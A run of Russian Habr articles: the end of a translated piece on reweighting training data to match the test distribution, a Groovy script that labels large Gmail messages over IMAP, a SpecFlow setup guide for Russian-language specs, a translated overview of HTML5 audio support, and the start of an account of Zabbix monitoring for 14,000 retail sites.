# где 0 будет соответствовать количеству вхождений индекса нуль, 1 количеству вхождений индекса 1 и так до i индекса
train_bin_counts = np.bincount(train_bins)
# Считаем веса каждого объекта, единица делится на количество вхождений объектов в корзине
weights = 1 / np.array([train_bin_counts[x] for x in train_bins])
# Нормируем веса так, чтобы их сумма равнялась единице
weights_norm = weights / np.sum(weights)
np.random.seed(0)
sample = np.random.choice(train, size=SAMPLE_SIZE, p=weights_norm, replace=False)
distplot_with_sample = ff.create_distplot([train, test, sample], ['Train', 'Test', 'New train'], bin_size=0.5)
distplot_with_sample.update_layout(title_text='Распределения Test, Train, New train')
```
""
Новое распределение (зеленое) теперь стало лучше соответствовать распределению тестовой выборки (оранжевое). Аналогичные действия были использованы нами на соревновании — исходный датасет содержал 3 миллиона строк, размер новой выборки мы сгенерировали из 1.3 миллиона объектов. Данных стало меньше, но репрезентативность распределения улучшила качество обучения.
Несколько примечаний из личного опыта автора:
* Количество корзин не играет большой роли, но чем меньше корзин, тем быстрее учится алгоритм (попробуйте изменить в примере количество корзин (N\_BINS) на 3, 30 и вы увидите, что разница действительно невелика)
* Что касается размера, то чем меньше разница между обучающим и тестовым распределениями, тем меньших размеров обучающей новой выборки достаточно, чтобы “повторить” тестовое распределение, по крайней мере если брать объекты без возвращения, избегая формирования дубликатов.
(В нашем примере мы перераспределили частотность, за счет чего корзины более “набитые” объектами стали содержать больше значений, относительно менее “набитых” корзин. Это подняло распределение тк концентрация значений сменилась. На мой взгляд достаточность обучающего набора должна исходить из размера тестового сета, но это только ***примечание переводчика***)
Алгоритм переформирования есть на гитхабе автора статьи (папка [xam](https://github.com/MaxHalford/xam)). В будущем автор планирует разбирать новые темы и делиться ими в блоге.
Надеюсь перевод и примечания были полезны и понятны. Жду вашей обратной связи в конструктивном формате. Спасибо за уделенное статье время.
**Сноски:**
1. **Deezer** — французский интернет-сервис потоковой передачи музыки. Типа Spotify, Я.Музыки и ну вы поняли
2. **XGBoost** — алгоритм экстремального градиентного бустинга. Мне крайне понравилась его обзывка как “градиентный бустинг на стероидах”. Идея бустинга заключается в обучении нескольких однородных слабых учеников, каждый из которых формирует оценки на основе ретроспективного опыта обучения предыдущего, обращая внимание на те классы, где прошлый алгоритм больше всего споткнулся. Идея градиента заключается, простым словом, в минимизации ошибки обучения. XGBoost, как алгоритм, является более вычислительно выгодной конфигурацией градиентного бустинга (Gradient Boosting)
3. Под **распределением** здесь подразумевается именно та штука, которая описывает закон, по которому чиселки раскидываются в переменной.
4. На мой личный взгляд наиболее понятная шпора к визуализации **экспоненциального** распределения в голове это его определение как распределения, с постоянной интенсивностью.
5. **ROC-AUC** (Area Under receiver operating characteristic Curve) — площадь под кривой “характеристики обработки приемника” — дословное название, поскольку метрика притопала из теории обработки сигналов. ROC-кривая очень крута — она демонстрирует соотношение True Positive и False Positive ответов модели по мере смены порога вероятности для отнесения к какому-либо классу, образуя “дугу”. Благодаря тому, что видно соотношение TP и FP можно подбирать оптимальный порог вероятностей в зависимости от ошибок 1го и 2го рода.
В случае рассмотрения именно точности модели, не внимания вероятностный порог ответов, используется метрика ROC-AUC, принимающая значения в диапазоне [0,1]. Для константной модели при балансе классов ROC-AUC будет приблизительно равна 0,5, следовательно модели ниже — не проходят sanity check (проверку на вменяемость). Чем ближе площадь под ROC кривой к единице тем лучше, но для индексации полезности результатов в целом, AUC-ROC обученной модели релевантно сравнивать с AUC-ROC константной модели. | https://habr.com/ru/post/526938/ | null | ru | null |
# Большие письма в Gmail
Как вы знаете, Gmail не позволяет сортировать письма, в частности по размеру.
Есть сервис, который помечает большие письма меткой — [www.findbigmail.com](https://www.findbigmail.com/), но не все хотят давать не понятно кому свой пароль.
Я написал скрипт (на груви ), который создаёт метку «Big Mail» и маркирует ей все письма размером больше чем 4Мб. В скрипте надо заменить имя юзера и пароль в Gmail, а также, если хотите, размер «больших» мейлов.
Для работы скрипта в classpath должны быть jars [отсюда](http://www.oracle.com/technetwork/java/downloads-137827.html).
Итерация по сообщениям медленная (1-2 в секунду), так что я поставил печать номера просматриваемого письма, чтобы вы знали, что скрипт не застрял.
Забрать все сообщения даже при моём количестве (ок 20000) занимает мало времени. Но при обращении к аттрибутам сообщения (getSize()) Message пойдет на сервер.
Можно настроить это на [Pre Fetch](http://java.sun.com/products/javamail/javadocs/javax/mail/FetchProfile.html), тогда общее время может уменьшиться, но вырастет (и серьезно) время получения списка сообщений (т.е. будете ждать не зная жив ли он вообще)
Еще интересный момент: copyMessages() в применении к Gmail ничего не копирует или переносит, а просто добавляет метку.
Сообщения я помечаю по одному, так, чтобы не получилось, что скрипт упал (например потому что упала сеть) и ничего не сделал.
Вообще есть куда улучшать — интерактивно спрашивать имя и пароль, не помечать те, которые уже помечены и т.д. Кому нужно — допилит :)
Не забудьте сделать IMAP — enable в Settings Гмаила.
| |
| --- |
| `// Mark large email messages in Gmail by "Bim Mail" label.
// (c) Pavel :)
// This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY
**import**java.security.NoSuchProviderException
**import**javax.mail.\*
**final****int**BIG\_MAIL\_SIZE = 2 \*\* 22 //4Mb
**final**String username = "xxx"
**final**String password = "xxx"
Properties props = System.getProperties()
props.setProperty("mail.store.protocol", "imaps")
props.setProperty("mail.imap.socketFactory.class", "javax.net.ssl.SSLSocketFactory")
props.setProperty("mail.imap.socketFactory.fallback", "false")
Folder all, big
Store store
**try**{
Session session = Session.getDefaultInstance(props, **null**)
store = session.getStore("imaps")
**final**String mailaddress = "$username@gmail.com"
store.connect("imap.gmail.com", mailaddress, password)
def folderName = "[Gmail]/All Mail"
all = store.getFolder(folderName)
all.open(Folder.READ\_WRITE);
println("Creating BigMail ...")
big = store.getFolder("BigMail")
**if**(big.create(Folder.HOLDS\_MESSAGES))
println "Ok."
**else**
println "Failure. Already exists?"
big.open(Folder.READ\_WRITE);
println "Downloading from folder $folderName ...."
List messages = all.getMessages()
println "Got ${messages.size()} messages"
**int**count = 0
messages.each {
**int**size = it.getSize();
**if**(size > BIG\_MAIL\_SIZE) {
println "$count: Big mail: ${it.getSubject()} (${it.getSize()})"
all.copyMessages([it].toArray(**new**Message[1]), big)
}
**else**{
println count
}
count++
}
} **catch**(NoSuchProviderException e) {
e.printStackTrace();
System.exit(1);
} **catch**(MessagingException e) {
e.printStackTrace();
System.exit(2);
}
**finally**{
// Close connection
all.close(**false**)
big.close(**false**)
store.close()
}`
|
| [Java2html](http://www.java2html.de)
| | https://habr.com/ru/post/110738/ | null | ru | null |
# Step-by-step: настройка SpecFlow для русскоязычного проекта при написании тестов в среде .Net
Не нашла в интернете пошаговой русскоязычной инструкции о том, как настроить SpecFlow на работу с русскими спецификациями. Да и вообще нет русской инструкции о том, как начать работать со SpecFlow. Зато обнаружила некоторый [скепсис у других автоматизаторов](http://habrahabr.ru/post/117383/) по поводу того, что это можно сделать легко и просто, однако предложенные альтернативы мне не приглянулись в далекой перспективе (просмотр тестов с веба специалистами технической поддержки). Мне нужен именно SpecFlow и именно по-русски!
Я все-таки как-то разобралась, и, чтобы другие не сомневались, что это не так уж и сложно сделать, и не набивали собственные шишки, делюсь своей инструкцией. Она прежде всего предназначена для тестировщиков-автоматизаторов, поэтому может содержать некоторые очевидные для программистов моменты.
Эта статья **полезна** для тех, кто:
* оценивает перспективы применения *Specification by Example (BDD)* подхода к автоматизации тестирования, и хочет описывать фичи и сценарии *на русском языке*, и хочет оценить scope работ;
* хочет как можно быстрее начать применять BDD в своем проекте.
Эта статья **бесполезна** для тех, кто:
* сам знает как это просто делается;
* готов потратить несколько часов работы + владеет английским языком достаточно хорошо, чтобы самому разобраться в инструкциях.
#### Постановка задачи
Передо мной стоит задача автоматизировать тестирование ключевого функционала одного приложения, которое разрабатывается российской компанией и ориентировано, в основном, на отечественных потребителей. Приложение существует на рынке приличное количество лет, а документация по нему измеряется сотнями страниц. Релизы часты, багов полно, тестировщиков мало.
Руководство дало добро попробовать применить самые современные тенденции автоматизации — [Specification By Example](http://habrahabr.ru/company/etnasoft/blog/166747/), пообещав выделить ключевой функционал, автоматизация которого имеет высочайший приоритет, и описать его в виде простых и понятных User Story.
Что делать дальше? Расписывать сценарии непосредственно в feature-файлах и прикручивать их к автотестам!
#### Инструкция
##### Что понадобится
1. IDE для .Net. Инструкция написана для англоязычной Visual Studio 2012. В других IDE действовать по аналогии.
2. Выбрать и установить Test Runner, если его еще нет. Я пользуюсь NUnit. SpecFlow также поддерживает и [другие инструменты запуска тестов.](https://github.com/techtalk/SpecFlow/wiki/Unit-test-providers)
##### Шаг 1: установка SpecFlow
Заходим в Tools — Extentions and Updates.
Переходим в Online и ищем SpecFlow.
Устанавливаем расширение. Установщик попросит перезагрузить студию.
##### Шаг 2: создаём конфигурационный файл SpecFlow
Этот шаг можно пропустить, если:
* У вас только 1 проект, и вы обходитесь без всяких черновиков и экспериментов. Тогда на шаге 3 скопируйте содержимое этого конфига и вставьте в свой.
* [Вы воспользуетесь советом из комментария.](http://habrahabr.ru/post/182160/#comment_6328908)
Заранее подготовим файл App.config со следующим содержанием:
```
xml version="1.0" encoding="utf-8" ?
```
Вместо NUnit здесь можно указать другой прогонщик тестов.
Этот файл нужно будет подкладывать во все проекты, содержащие наборы тестов и feature-файлы, поэтому лучше хранить его копию отдельно.
Ссылку на документацию в комментариях оставляю нарочно — вдруг захочется что-то ещё поменять.
Конфигурационный файл перетирает дефолтовые настройки SpecFlow, поэтому при использовании англоязычных спек с NUnit он не нужен.
##### Шаг 3: создание проекта
Создаём проект типа Unit Test.
Из дерева проекта удаляем ненужный файл стандартного класса:
Запускаем консоль менеджера пакетов:
В нём запускаем команду:
`PM> Install-Package SpecFlow.NUnit -ProjectName *UnitTestProject1*`
Где:
UnitTestProject1 — имя Вашего проекта.
SpecFlow.NUnit — версия SpecFlow для NUnit. Можно написать просто SpecFlow, тогда тесты будут запускать не NUnit, а SpecRun. [Подробнее тут.](https://github.com/techtalk/SpecFlow/wiki/NuGet-Integration)
После того как команда отработает, в папке проекта появится файл App.config. Его не видно в Solution Explorer.
Нужно заменить дефолтный конфиг на тот, который мы приготовили заранее. Можно сделать 2 способами:
1. Открыть папку проекта в файловой системе и поменять копипастом.
2. Добавить файл в дерево проекта:
Теперь можно отредактировать содержимое в самой студии:
Каждый раз после изменения конфигурации SpecFlow сам попросит разрешения обработать свои фичи заново.
##### Шаг 4: Добавление файла с описанием фичи
Добавляем в проект SpecFlow feature File:
Этот файл будет содержать образец на английском языке. Поскольку мы настроили SpecFlow на русский, подсветка синтаксиса не сработает — проект не распознает теперь «Given / When / Then»:
Сам шаблон можно поменять, про это написано [в комментарии](http://habrahabr.ru/post/182160/#comment_6328936).
Опишем фичу и сценарий по-русски (можно скопировать отсюда):
```
Функция: Аутентификация пользователя
Для того чтобы пользоваться порталом
Как пользователь
Я хочу авторизоваться
@позитивный
Сценарий: Успешная авторизация
Допустим Я нахожусь на странице авторизации
И я ввёл свой логин
И я ввёл свой пароль
Когда я нажимаю кнопку Login
Тогда Браузер перенаправляет меня на домашнюю страницу
```
При описании надо иметь в виду, какие именно ключевые слова ставятся в соответсвие с английскими:
```
Функция
Функционал
Свойство
Предыстория
Контекст
Сценарий
Структура сценария
Примеры
Допустим
Дано
Пусть
Если
Когда
То
Тогда
И
К тому же
Но
А
```
**Для тех, кто считает что Gherkin формула «Given / When / Then» по-русски звучит как «Если / Когда / Тогда» обращаю особое внимание на то, что в SpecFlow «Если» соответствует «When», и я лично нахожу это вполне логичным. Попытки обойти это и сделать «Если» = «Given» заканчиваются путаницей и неразберихой при генерации шагов.**
Теперь можно убедиться, что конфигурация удалась и русские ключевые слова опознаются:
##### Шаг 5: Генерация тестовых шагов
В самом feature-файле запускаем из контекстного меню генератор тестовых шагов:
Можно убедиться еще раз, что всё правильно понимается, и в нашем сценарии нашлись все «Given», «And», «When», «Then»:
Generate — генерируем шаги.
Сохраняем как предложено или переименовываем. Вообще удобно, когда файлы с шагами теста совпадают с фича-файлами по названию тестируемой функции, поэтому лучше с самого начала правильно назвать фичу.
В итоге у нас сгенерировались шаги с заглушками для кода автотестов:
##### Шаг 6: Запуск теста
Теперь, еще до написания автотеста, уже можно запустить тест и убедиться, что все правильно работает.
Сделать это удобнее всего из контекстного меню в самом фича-файле:
Всё настроено верно, если тест распознаётся как недописаный и его запуск не происходит:
На скриншоте заваленные тесты — из другого проекта в том же Solution. NUnit запускает все тесты сразу.
Если что-то настроено не так — тест завалится еще до написания начинки автотеста. В худшем случае — NUnit решит что тестов нет вообще.
#### Шишки
Я наивно пыталась переопределить ключевые слова в файле App.Config, написала там лишнего, и это привело к тому, что тест падал:
`Result Message: TestFixtureSetUp failed in <Имя проекта>`
Если пользуясь этой инструкцией вы всё-таки столкнётесь с «красными» результатами — пишите в комментариях, этот опыт может оказаться полезным кому-то.
#### А что дальше?
Дальше надо прикручивать автотесты к шагам и расширять ассортимент фича-файлов и сценариев. Как это делать по-русски активно разъясняет [marshinov](https://habrahabr.ru/users/marshinov/). В его статьях приводятся примеры с фича-файлами, описанными на английском языке, но применяя аналогию можно разобраться.
#### Источники информации:
[www.specflow.org/specflownew/ProjectSetupGuide.html](http://www.specflow.org/specflownew/ProjectSetupGuide.html)
[go.specflow.org/doc-config](http://go.specflow.org/doc-config)
[github.com/techtalk/SpecFlow/wiki/Configuration](https://github.com/techtalk/SpecFlow/wiki/Configuration)
[raw.github.com/techtalk/SpecFlow/master/Languages.xml](https://raw.github.com/techtalk/SpecFlow/master/Languages.xml)
[msdn.microsoft.com](http://msdn.microsoft.com) | https://habr.com/ru/post/182160/ | null | ru | null |
# HTML5 Audio — состояние дел. Часть 2
 *(Статья специалиста по фронтенду и медиатегам Марка Боаса (Mark Boas) от 8 мая 2012. Перевод заключительной части. Начало дало понять, что придётся попотеть, прежде чем освоить всю кухню, а ведь это ещё развивается… Не ждите коротких рецептов.)*
Содержание [первой части](http://habrahabr.ru/post/148368/):
■ Типы MIME
● Серверная часть
● Клиентская часть
■ Заранее узнать тип аудио поможет *.canPlayType* (наверное)
■ Текущая поддержка кодеков в браузерах
■ Форматы контейнеров и расширения файлов
■ Мы имеем тег и не боимся его использовать!
■ Буферизация, поиск и интервалы воспроизведения
● Атрибут *buffered*
● Объект *TimeRanges*
● Атрибуты *seeking* и *seekable*
#### ● Атрибуты *seeking* и *seekable*
Поиск в контексте медиафайла — это заглядывание вперёд или назад в медиафайл. Обычно это происходит, когда ещё не закончена полная буферизация файла. Атрибут *seeking* используется для указания на то, что произошло событие "*seeked*". *true* означает, что часть файла ещё не загружена.
| |
| --- |
| **Забавно**: *все современные браузеры, кроме Safari / Windows, имеют атрибут *seekable*, означающий, что событие *seeking* никогда не произойдёт, чтобы пользователь мог перейти непосредственно к желаемой части программы. Событие *seeked* не появляется, что раздражает некоторых, считающих, что "*seeking==true*" должно быть всегда раньше события *seeked*.* |
Напомним, что свойство *buffered* говорит, какие части были загружены, что часто используется как индикатор готовности воспроизведения. Если браузер поддерживает, то может иметь смысл использовать атрибут *seekable*, чтобы определить, какая часть файла подгружена.
*seekable* возвращает объект *TimeRanges* — интервалы, которые готовы для немедленного воспроизведения. Он использует технологию, известную как «byte-range-запросы», позволяющую запрашивать часть данных не строго по окончанию HTTP-запросов, а раньше, пока ещё идут запросы. Другими словами, мы не должны иметь все данные, чтобы начать проигрывать медиа. Примеры:
```
var isSeeking = audio.seeking; // в плеере можно сделать "поиск"?
// Есть интервалы seekable, значит, есть участки для "поиска"
var isSeekable = audio.seekable && audio.seekable.length > 0;
// Время в секундах, после которого участок медиа не загружен
var seekableEnd = audio.seekable.end();
```
| |
| --- |
| **Замечание**: *интервалы могут ввести в заблуждение. *audio.seekable.end()* на самом деле, указывает конечную точку последнего интервала, а не конечную точку всего медиафайла. На практике, однако, этого достаточно, так как браузер либо дает ряд запросов, либо нет. Если окажется, что запросов не было, *audio.seekable* будет равносильно *audio.buffered*, что даст правильное указание конца интервалов в файле.* |
Обратите внимание, что участки воспроизведения в состоянии "*seekable*" отличны от участков в состоянии "*buffered*". Они не могут быть тем и другим одновременно.
| |
| --- |
| **Забавно**: *На практике создаётся только один *TimeRanges*-объект в свойстве *seekable*. В браузерах, поддерживающих запросы интервалов, *TimeRanges*-объект простирается от нуля до конца времени воспроизведения, в неподдерживающих — *TimeRanges* растёт от нуля до конца по мере загрузки.* |
Буферизация и поиск данных могут дать полезную информацию, но это было бы слишком просто, если бы не несколько моментов.
1. Предзагрузка не поддерживается в умеренно старых браузерах (Opera 10 / Firefox 3.6).
2. Атрибут *buffered* не всегда поддерживается (Blackberry PlayBook).
3. Не все HTML5-браузеры поддерживают byte-range-поиск, например, Safari / Windows. В этом случае остаётся поиск по загруженному содержимому, как это делает Flash.
Если вы хотите дать пользователям наилучшее решение, делайте тест заложенных возможностей.
#### ● Замечание о предзагрузке
Я упомянул об атрибуте *preload* в [предыдущей статье](http://html5doctor.com/native-audio-in-the-browser/) *(англ.)*. Он принимает 3 возможных значения:
1. *none* — ничего не предзагружает. Ждите события *play* перед загрузкой чего-либо.
2. *metadata* — предзагружает только метаданные. Получает начало и конец файла через запрос интервала и определяет длительность воспроизведения.
3. *auto* — предзагружает весь файл. Получает начало и конец файла, а затем переходит снова к загрузке от начала файла.
| |
| --- |
| **Забавно**: *мобильный Safari игнорирует атрибут *preload*, который всегда в нём равен "*none*".* |
Когда заходит речь о предзагрузке, помните, что это — просьба или пожелание браузеру о том, как вы хотите видеть процесс предзагрузки. Браузеры не обязаны её выполнять, поэтому могут работать по-разному.
#### ● Успешно воспроизведённое
Надо заметить, что есть свойство *played*, сообщающее, были ли воспроизведены интервалы полностью.
```
var played = audio.played; // возвращает объект TimeRanges
```
| |
| --- |
| **Замечание**: *если просуммировать все интервалы *audio.played*, то получим долю прослушанного аудио, что может быть полезно для сбора метрик.* |
### ■ Медиа-события
В основе API аудио- и видеоинтерфейсов лежит полный набор событий. Полный список имеется в [WhatWG версии спецификации](http://www.whatwg.org/specs/web-apps/current-work/multipage/the-video-element.html#mediaevents).
Установка обработчиков медиа-событий позволяет легко отслеживать изменения состояния контролов. Например, это полезно для обновления показа времени воспроизведения при каждом событии *timeupdate*.
Краткий список частоиспользуемых событий:
| *Событие* | *Описание* |
| --- | --- |
| **durationchange** | Обновлён атрибут *duration* |
| **ended** | Воспроизведение остановлено по достижению конца |
| **pause** | Воспроизведение было остановлено (обратите внимание на отсутствие события *stop*) |
| **play** | Файл начал проигрываться |
| **timeupdate** | Текущая позиция воспроизведения изменилась (обычно каждые 250 мс) |
| **volumechange** | Значение изменилось |
| |
| --- |
| **Совет**: *Android (по крайней мере, 2.3) не всегда порождает событие *ended*. Ладно, скажем так, он иногда создаёт одно для приличия, но вообще, вы должны создать своё собственное событие, захватывая событие *pause* при достижении конца медиафайла и сравнение *audio.currentTime* с *audio.duration*. Или же можете сушать событие *pause* и убедиться, что *audio.currentTime* равно нулю. Чтобы быть абсолютно уверенным, надо проделывать то и другое.* |
Некоторые другие события:
| *Событие* | *Описание* |
| --- | --- |
| **canplay** | Файл может быть воспроизведен, но, возможно, потребуется пауза, пока он загружается. |
| **canplaythrough** | При имеющемся темпе скачивания предполагается, что файл может быть проигран от начала до конца без перерыва. |
| **progress** | Браузер показывает состояние проигрывания (обычно каждые 250 мс) |
И снова [HTML5 Media Event Inspector](http://jplayer.org/HTML5.Media.Event.Inspector/) ведёт себя дружественно.
Вы можете протестировать поддержку браузера с помощью [areweplayingyet.org](//areweplayingyet.org). Стоит посмотреть код и тесты, чтобы понять механизм происходящего.
### ■ Потоковое воспроизведение
Потоковое аудио — это общее требование к медиа-конторолу. До недавнего времени в этой области господствовали флеш-технологии Adobe. Хорошо известны проприетарные серверные технологии. Одна из ведущих — Real Time Messaging Protocol ([RTMP](http://en.wikipedia.org/wiki/Real_Time_Messaging_Protocol)) от Adobe. Тем не менее, современные браузеры поддерживают только потоковое воспроизведение на протоколе HTTP, а что-либо похожее на флеш требует выполнения RTMP-потоков.
Сейчас браузеры, если поддерживают, то только [SHOUTcast](http://en.wikipedia.org/wiki/SHOUTcast) и [Icecast](http://en.wikipedia.org/wiki/Icecast) серверы, которые воспроизводят аудио через HTTP. SHOUTcast проприетарен и воспроизводит только файлы MP3 и AAC, а Icecast открыт и поддерживает Ogg Vorbis, MP3 и AAC.
| *Поток* | *AAC* | *MP3* | *Ogg Vorbis* | *Встроенная поддержка* |
| --- | --- | --- | --- | --- |
| **Icecast** | Да | Да | Да | Да |
| **SHOUTCast** | Да | Да | Нет | Да |
| **RTMP** | Да | Да | Нет | Нет (требуется Flash) |
### ■ Эволюция спецификаций (или «Ти диви! Воно ще й рухається!»)
Поскольку спецификации аудио развиваются, есть несколько несоответствий в браузерных реализациях, которые стоит иметь в виду. Они обычно проявляются в старых браузерах.
#### ● Метод load
До недавнего времени метод *load* сообщал браузеру об изменении медиафайла и заставлял контрол измениться. Сейчас он выполняет сброс элемента и начинает выборку и загрузку нового ресурса с нуля.
Таким образом, для старых браузеров типа Firefox 3.6, чтобы изменить источник информации, нужно не только изменить значение в методе, но и выполнить команды:
```
var audio = new Audio();
audio.setAttribute("src","mynew.mp3"); audio.load(); // требуется для старых браузеров
```
#### ● Когда браузеры вернутся к официальной документации?
Для кроссбраузерных решений полезно знать, какие браузеры поддерживают [W3C документацию](http://dev.w3.org/html5/spec/video.html#audio) и в какой степени и как от неё отклоняются.
#### ● Автовоспроизведение и громкость
iOS и Blackberry игнорируют атрибут *autoplay* и медиаэлемент изменения громкости, а Android поддерживает *autoplay*, но не имеет элемента громкости.
По сути, на Blackberry и IOS автозапуск отключён, поскольку обе системы требуют пользовательского разрешения «пнуть» их. Это неудачный побочный эффект: любое проигрывание аудио страдает необходимой задержкой интерактивности.
Чтобы сгладить эти неудобства, вы можете познакомиться с отличной [статьёй доктора Remy Sharp об исправлении аудио-спрайтов в iOS](http://remysharp.com/2010/12/23/audio-sprites/) *(англ.)*.
#### ● Одновременное воспроизведение нескольких аудиотегов
Особо досаждает разработчикам всего (особенно игр), кроме самых простых приложений, невозможность некоторых браузеров (снова видим парочку: iOS и BlackBerry) играть несколько дорожек одновременно.
#### ● Зависимость от ОС
| |
| --- |
| **Совет**: *несмотря на ограниченное использование такого способа разработчиками, вы можете установить другие, не встроенные в ОС кодеки, как, например, Ogg Vorbis, и браузеры, использующие кодеки операционной системы, должны начать поддерживать их.* |
[Safari (5+) опирается на настройки Quicktime](http://happyworm.com/blog/2010/08/17/safari-requires-quicktime-for-html5-based-media/). Это редко бывает проблемой, если используется Windows.
Internet Explorer (9+) использует кодеки операционной системы. Так как он работает только на Windows, к счастью, это почти всегда так.
### ■ Что нового?
Для веб-аудио уточняются некоторые новые возможности и новое API, поэтому давайте посмотрим на ближайшее будущее.
#### ● Изменение шага
Отметим пару будущих функций: *playbackRate* и *defaultPlaybackRate*. Они изменяют скорость и направление воспроизведения — для быстрой перемотки вперед и назад функции, или, возможно, позволит пользователям настроить скорость слушания, чтобы прослушивать больше подкастов в день.
● *audio.playbackRate* возвращает 1 при нормальной скорости и действует как множитель скорости. Например, установка *playbackRate* 2 удвоит скорость, при установке его в -1, будет игра в обратном направлении.
● *audio.defaultPlaybackRate* — скорость медиа по умолчанию после паузы, рестарта или события этого рода.
#### ● Медиа-фрагменты
Если мы хотим сейчас сослаться на часть медиафайла, мы, чаще всего, должны загрузить хотя бы часть файла, которая на самом деле не нужна. [Предложения W3C для медиа-фрагментов](http://www.w3.org/TR/media-frags/) были созданы, чтобы решить этот вопрос [и другие](http://www.w3.org/TR/2009/WD-media-frags-reqs-20091217/), например, поиск области видео или просто связанные тексты (аудиотеги, надписи) треков. Для аудио мы сможем сказать с помощью параметров URI, какие части хотим загрузить.
### ■ Расширенное аудио API: будущий звук в браузерах
Когда дело дошло до продвинутого аудио, Mozilla впервые ввела в бой начальное экспериментальное [Audio Data API](https://wiki.mozilla.org/Audio_Data_API) для Firefox. Это должно помочь работе с аудио на JavaScript и создать платформу для низкоуровневых разработок.
Чтобы не отстать, Google выпустила [Web Audio API](https://dvcs.w3.org/hg/audio/raw-file/tip/webaudio/specification.html) для Chrome и выдвинула его как предложение W3C. Web Audio API — это высокоуровневая реализация, которая использует подход к объектам аудио как к аудио-нодам и предоставляет множество полезных функций.
Обе реализации отражают желание разработчиков делать с аудио больше — создавать, управлять, анализировать и смешивать аудио на лету. По сути, мы в один прекрасный день можем оказаться в состоянии сделать в браузере то, что можем делать сейчас лишь в нативных приложениях ОС.
Так что, хотим мы работать с продвинутым аудио в браузере? Хорошо, две отдельных реализации уже есть. Если хотим писать приложения на базе API, нужно делать сторонние кросс-библиотеки, чтобы абстрагироваться от различий.
Появилось и довольно новое [Mozilla MediaStream обработки API](http://www.w3.org/TR/2011/WD-streamproc-20111215/), которое использует другой подход с возможностью управлять аудио- и видео-потоками как на высоком, так и на низком уровне.
На самом деле, с использованием современных API, пользуясь скоростью современных движков JavaScript, мы можем даже написать декодеры для неподдерживаемых кодеков. В настоящее время мы имеем [JSMad декодер MP3 и декодер без потерь Alac.js](http://codecs.ofmlabs.org/). Видимо, FLAC и AAC в потоке. Есть надежда, то, что в будущем нам не придется беспокоиться о поддержке форматов в браузере.
Для интересующихся современным интернет-аудио я писал о различиях в подходах и различных библиотеках для кроссбраузерных решений в статье "[HTML5 Audio API: как низко можем мы идти?](http://happyworm.com/blog/2011/11/15/html5-audio-apis-how-low-can-we-go/)" *(англ.)*.
Хорошая новость — то, что заинтересованные стороны договариваются, идёт общение в [рабочей группе W3C по аудио](http://www.w3.org/2011/audio/). Похоже, всё идет к реализации идей [единого аудио API](http://www.w3.org/TR/audioproc/), который стремительно приближается к публикации в виде веб-стандарта.
### ■ Заключение
Хотя браузерные реализации текущей спецификации HTML5 аудио улучшаются, есть еще несколько проблем, мешающих созданию полноценного кроссбраузерного решения. Вам нужно знать ограничения браузеров и платформ, таких как iOS. Проблемы, будем надеяться, исчезнут.
Есть хорошие новости с фронта «продвинутого аудио»: [новый стандарт создается](http://www.w3.org/TR/audioproc/), мы близки к получению единой спецификации для работы создателей браузеров. В то же время, есть библиотеки JavaScript, которые помогут преодолеть разрыв между существующими реализациями.
Есть и признаки того, что мы можем видеть конец зависимостей различных браузеров от кодеков. Opera Mobile уже поддерживает форматы MP3 там, где его поддерживает ОС, и похоже, что [Mozilla тоже может себе это позволить](http://groups.google.com/group/mozilla.dev.platform/browse_thread/thread/fb14de8b9ad84e15/4cfccdde2cb064d1?#4cfccdde2cb064d1). Если это становится возможно для мобильных браузеров, скорее всего, настольные браузеры последуют примеру.
Многое меняется и многое уже достигнуто. Неровности реализаций сглаживаются, принимаются стандарты, и мы видим основу очень интересных новых технологий.
Будущее интернет-аудио выглядит блестящим!
### Дополнительное чтиво (англ.)
* [«Возможно, Может быть, Нет»: состояние HTML5 Audio](http://24ways.org/2010/the-state-of-html5-audio)
* [Состояние HTML5 Audio](http://www.phoboslab.org/log/2011/03/the-state-of-html5-audio)
* [Освоение тега HTML5](http://www.catswhocode.com/blog/mastering-the-html5-audio-property)
* [Раскрытие силы HTML5](http://blogs.msdn.com/b/ie/archive/2011/05/13/unlocking-the-power-of-html5-lt-audio-gt.aspx)
* [Всё, что вы хотели знать о HTML5 video and audio](http://my.opera.com/core/blog/2010/03/03/everything-you-need-to-know-about-html5-video-and-audio-2) | https://habr.com/ru/post/149518/ | null | ru | null |
# Как мы делали мониторинг сети на 14 000 объектов
У нас было 14 000 объектов, zabbix, api, python и нежелание добавлять объекты руками. Под катом — о том, как сетевиками внедрялся мониторинг с автоматическим добавлением узлов сети, и немного про боль, через которую пришлось пройти.
Статья больше ориентирована на сетевых инженеров с небольшим опытом в python. В помощь при автоматизации мониторинга и улучшения качества жизни и работы, в отсутствии необходимости руками актуализировать весь парк объектов.
Long story short, we have built a monitoring
--------------------------------------------
Привет! Меня зовут Александр Прохоров, и вместе с командой сетевых инженеров нашего отдела мы занимаемся сетью в #ITX5. Наш отдел развивает сетевую инфраструктуру, мониторинг и автоматизацию сети. Да и все, что связано с передачей данных.
Я бы разбил систему мониторинга на 5 подзадач:
* Загрузка мастер-данных
* Получение информации о состоянии объектов
* Триггеры и оповещения
* Составление отчетности
* Визуализация
В этой статье хотели бы поделиться, как делали интеграцию мониторинга с мастер-данными в нашей компании.
У нас 14 000 торговых объектов, и первая задача, которую мы решали — это определение недоступных объектов, их количество и географическое распределение.
Мониторинг делали на **Zabbix**. В двух словах почему — повезло и legacy. Остальное:
**Long story.**Все началось с установки мониторинга на компьютер под столом…
Когда я пришел работать в компанию в 2013 году, у нас не было мониторинга сети, хотя сеть даже на тот момент была большой, порядка 4000 объектов. О массовых (и не очень) падениях мы узнавали чаще всего от лавинообразного поступления заявок, пользователей или от других отделов.
Первым был установлен Zabbix 1.8, как набирающий обороты (модный, современный, молодежный) продукт, легкий и доступный к установке open source с большим сообществом. Нам просто повезло с выбором.
Ресурсов для установки не было, никто и не запрашивал. Было непонятно, будет ли это вообще работать, опыта внедрения ни у кого не было. Но нам было нужно, и мы установили его на компьютер «под стол». Уровень резервирования — ИБП.
Основной вопрос после установки — как влить все объекты (4к!) в мониторинг, и при этом успевать делать заявки, которые уже висят в Remedy. Zabbix уже поддерживал импорт/экспорт xml с данными по узлам сети. Количество объектов большое, создавать отдельную группу под объект смысла не было(да и не появилось), и было решено вгружать в качестве узла сети роутер объекта. Больше из сетевого оборудования ничего не управлялось (уже управляется).
